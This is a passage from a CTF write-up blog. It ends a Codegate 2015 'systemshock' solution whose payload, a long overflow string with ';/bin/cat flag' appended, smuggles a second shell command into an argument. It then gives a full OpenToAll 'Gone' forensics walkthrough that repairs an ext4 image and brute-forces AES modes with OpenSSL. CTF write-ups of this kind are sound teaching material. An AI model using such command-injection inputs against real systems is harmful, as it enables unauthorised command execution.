 systemshock@ip-172-31-3-97:~$ ./shock AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";/bin/cat flag"  
 id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user  
 B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t  
 Segmentation fault  

And there is our flag! What an unusual challenge but a fun simple way to get into Code Gate 2015!

It's true to say we did NOT look into why this worked yet but I plan on spending some quality time with GDB to add a part 2 to this write up soon.

Writeup by: Dacat

Monday, March 9, 2015

OpenToAll CTF2015 - Gone (Forensics)

This challenge in the forensics genre had only the following as the clue:
Upon downloading and decompressing the gone.img.tar.bz2 file you find a Linux EXT4 filesystem which you can mount. 


 root@mankrik:~/opentoall/gone/tmp# file 1fdb86c25131bb3aa247bada29b29115.img   
 1fdb86c25131bb3aa247bada29b29115.img: Linux rev 1.0 ext4 filesystem data, UUID=1385df22-b2ce-4b4f-858e-79ae1932ca1a (extents) (huge files)  

However upon mounting the filesystem you find it to be empty. :(

Since the name of the challenge is "Gone" you assume the challenge is to recover the files for the flag. To do so the first thing we try is to unmount and use the Linux fsck.ext4 program to scan and correct filesystem issues. This seems to fix quite a number of issues:

 root@mankrik:~/opentoall/gone/tmp# fsck.ext4 1fdb86c25131bb3aa247bada29b29115.img   
 e2fsck 1.42.5 (29-Jul-2012)  
 ext2fs_open2: The ext2 superblock is corrupt  
 fsck.ext4: Superblock invalid, trying backup blocks...  
 1fdb86c25131bb3aa247bada29b29115.img was not cleanly unmounted, check forced.  
 Pass 1: Checking inodes, blocks, and sizes  
 Pass 2: Checking directory structure  
 Pass 3: Checking directory connectivity  
 Pass 4: Checking reference counts  
 Pass 5: Checking group summary information  
 Free blocks count wrong for group #0 (6789, counted=488).  
 Fix<y>? yes  
 Free blocks count wrong for group #1 (2006, counted=228).  
 Fix<y>? yes  
 Free blocks count wrong (8795, counted=716).  
 Fix<y>? yes  
 Free inodes count wrong for group #0 (1269, counted=1262).  
 Fix<y>? yes  
 Free inodes count wrong (2549, counted=2542).  
 Fix<y>? yes  
 1fdb86c25131bb3aa247bada29b29115.img: ***** FILE SYSTEM WAS MODIFIED *****  
 1fdb86c25131bb3aa247bada29b29115.img: 18/2560 files (11.1% non-contiguous), 9524/10240 blocks  

Upon next mount we find that yes, we see the files now:

 root@mankrik:~/opentoall/gone/tmp# mount 1fdb86c25131bb3aa247bada29b29115.img /mnt  
 root@mankrik:~/opentoall/gone/tmp# ls -la /mnt  
 total 8096  
 drwxr-xr-x 3 root root  1024 Mar 5 13:46 .  
 drwxr-xr-x 26 root root  4096 Mar 7 06:02 ..  
 -rw-r--r-- 1 root root   18 Mar 5 13:36 AE5  
 -rw-r--r-- 1 root root 3575808 Mar 5 13:36 file  
 -rw-r--r-- 1 root root  97626 Mar 5 13:37 fil.enc  
 drwx------ 2 root root  12288 Mar 5 12:47 lost+found  
 -rw-r--r-- 1 root root 1214464 Mar 5 13:43 ran2  
 -rw-r--r-- 1 root root  23552 Mar 5 13:45 ran3  
 -rw-r--r-- 1 root root 1191936 Mar 5 13:46 ran4  
 -rw-r--r-- 1 root root 2167808 Mar 5 13:37 rand  

Upon examining every file we are not much closer to getting a flag here, so more research is required. The filenames "AE5" and "fil.enc" stand out very starkly (immediately we think AE5 = AES, file.enc = encrypted file?) so we keep that in the back of our mind.

First we run the "file" command against every file to try and identify if any are useful to us. Not much comes back:

 AE5:    ASCII text  
 file:    data  
 fil.enc:  data  
 lost+found: directory  
 ran2:    data  
 ran3:    data  
 ran4:    data  
 rand:    data  

So lets follow up on that "AE5" and "fil.enc" lead we saw originally. Lets examine AE5 since it's just ASCII text:

 root@mankrik:/mnt# cat AE5  
 4[71A3j9[\22?/+u0  

Ok so that isn't immediately obviously anything but it *MIGHT* be a key? So let's put it in our pocket for later. Next the file.enc file, whats that about? "file" command just says data, which is not usually a great thing, lets take a look at the header ourselves real quick:

 root@mankrik:/mnt# xxd fil.enc | head -5  
 0000000: 5361 6c74 6564 5f5f 9439 e6c5 4330 e12e Salted__.9..C0..  
 0000010: b05c 5638 fff0 2496 9dac c546 aa1a 1dee .\V8..$....F....  
 0000020: 4e89 7d16 d17c ccf9 162a 6a50 b923 e9bd N.}..|...*jP.#..  
 0000030: 6046 3415 ecb7 e1a4 f261 f325 194c f390 `F4......a.%.L..  
 0000040: 2202 fcdd 7142 4a40 3b9b 9f16 2792 29bc "...qBJ@;...'.).  

Ok, so the first bytes are the word "Salted__", you may know this from experience or you may just Google this but this means the file was encrypted using the OpenSSL command and it was encrypted with a salt.

So we have a file encrypted with openssl and a text file that might have a key, and it's called AES. So let's just try decrypting the file?\


 root@mankrik:/mnt# openssl enc -d -in fil.enc -out fil.dec -aes256 -k `cat AE5`  
 bad decrypt  
 140154050635432:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 root@mankrik:/mnt# file fil.dec  
 fil.dec: data  

Ok so not much luck; an error from OpenSSL about the file, bad decrypt error, and the result is just more "data".  What are we doing wrong here?

At this point this challenge is more about cryptography than forensics. You have to understand that AES is a block cipher with a block size of 128 bits (16 bytes) and that block ciphers can operate in one of several modes of operation (e.g. ECB, CBC, CTR etc). Each of these modes of operation will result in different encrypted files. Finally, AES can accept keys with length 128, 192 and 256 bits! So before we rule out AES, since it's the only clue we have, we need to try harder!

So let's write a quick script covering every possible mode and key length for AES that openssl supports. To save you time, here's a list:

 -aes-128-cbc -aes-128-cbc-hmac-sha1 -aes-128-cfb -aes-128-cfb1 -aes-128-cfb8 -aes-128-ctr -aes-128-ecb -aes-128-gcm -aes-128-ofb -aes-128-xts -aes-192-cbc -aes-192-cfb -aes-192-cfb1 -aes-192-cfb8 -aes-192-ctr -aes-192-ecb -aes-192-gcm -aes-192-ofb -aes-256-cbc -aes-256-cbc-hmac-sha1 -aes-256-cfb -aes-256-cfb1 -aes-256-cfb8 -aes-256-ctr -aes-256-ecb -aes-256-gcm -aes-256-ofb -aes-256-xts -aes128 -aes192   

And here's the script we came up with to quickly try all of the possibilities:

 #!/bin/bash  
 KEY=`cat AE5`  
 AESMODES="-aes-128-cbc -aes-128-cbc-hmac-sha1 -aes-128-cfb -aes-128-cfb1 -aes-128-cfb8 -aes-128-ctr -aes-128-ecb -aes-128-gcm -aes-128-ofb -aes-128-xts -aes-192-cbc -aes-192-cfb -aes-192-cfb1 -aes-192-cfb8 -aes-192-ctr -aes-192-ecb -aes-192-gcm -aes-192-ofb -aes-256-cbc -aes-256-cbc-hmac-sha1 -aes-256-cfb -aes-256-cfb1 -aes-256-cfb8 -aes-256-ctr -aes-256-ecb -aes-256-gcm -aes-256-ofb -aes-256-xts -aes128 -aes192"  
 for mode in $AESMODES  
 do  
      openssl enc -d -in fil.enc -out /tmp/fil"$mode".dec -k $KEY $mode  
 done  

And when we run it, we get a lot of errors...

 root@mankrik:/mnt# sh aes.sh   
 bad decrypt  
 139805199214248:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 Segmentation fault  
 bad decrypt  
 139964237162152:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 bad decrypt  
 bad decrypt  
 140564537820840:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 bad decrypt  
 139941861820072:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 bad decrypt  
 bad decrypt  
 139964176520872:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 Segmentation fault  
 bad decrypt  
 140288415119016:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 bad decrypt  
 bad decrypt  
 139797559735976:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  
 bad decrypt  
 140161216915112:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:532:  

But let's see what happened anyway, the script put all of the "decrypted" (mostly botched) files into /tmp/ so lets check them out:


 root@mankrik:/mnt# file /tmp/*.dec  
 /tmp/fil-aes-128-cbc.dec:      data  
 /tmp/fil-aes-128-cbc-hmac-sha1.dec: empty  
 /tmp/fil-aes-128-cfb1.dec:     data  
 /tmp/fil-aes-128-cfb8.dec:     data  
 /tmp/fil-aes-128-cfb.dec:      PNG image data, 855701748 x 4133316295, 218-bit  
 /tmp/fil-aes-128-ctr.dec:      PNG image data, 1300 x 1076, 8-bit/color RGBA, non-interlaced  
 /tmp/fil-aes128.dec:        data  
 /tmp/fil-aes-128-ecb.dec:      data  
 /tmp/fil-aes-128-gcm.dec:      SysEx File - AudioVertrieb  
 /tmp/fil-aes-128-ofb.dec:      PNG image data, 356303344 x 1815138770, 170-bit  
 /tmp/fil-aes-128-xts.dec:      data  
 /tmp/fil-aes-192-cbc.dec:      data  
 /tmp/fil-aes-192-cfb1.dec:     data  
 /tmp/fil-aes-192-cfb8.dec:     data  
 /tmp/fil-aes-192-cfb.dec:      data  
 /tmp/fil-aes-192-ctr.dec:      data  
 /tmp/fil-aes192.dec:        data  
 /tmp/fil-aes-192-ecb.dec:      data  
 /tmp/fil-aes-192-gcm.dec:      data  
 /tmp/fil-aes-192-ofb.dec:      data  
 /tmp/fil-aes-256-cbc.dec:      data  
 /tmp/fil-aes-256-cbc-hmac-sha1.dec: empty  
 /tmp/fil-aes-256-cfb1.dec:     data  
 /tmp/fil-aes-256-cfb8.dec:     data  
 /tmp/fil-aes-256-cfb.dec:      data  
 /tmp/fil-aes-256-ctr.dec:      data  
 /tmp/fil-aes-256-ecb.dec:      data  
 /tmp/fil-aes-256-gcm.dec:      data  
 /tmp/fil-aes-256-ofb.dec:      data  
 /tmp/fil-aes-256-xts.dec:      data  

Ok well that's interesting. A PNG file with what looks to be correct header information seems to have been the result of decryption with AES with 128bit key length and CTR mode of operation.

We view the PNG and we have our flag: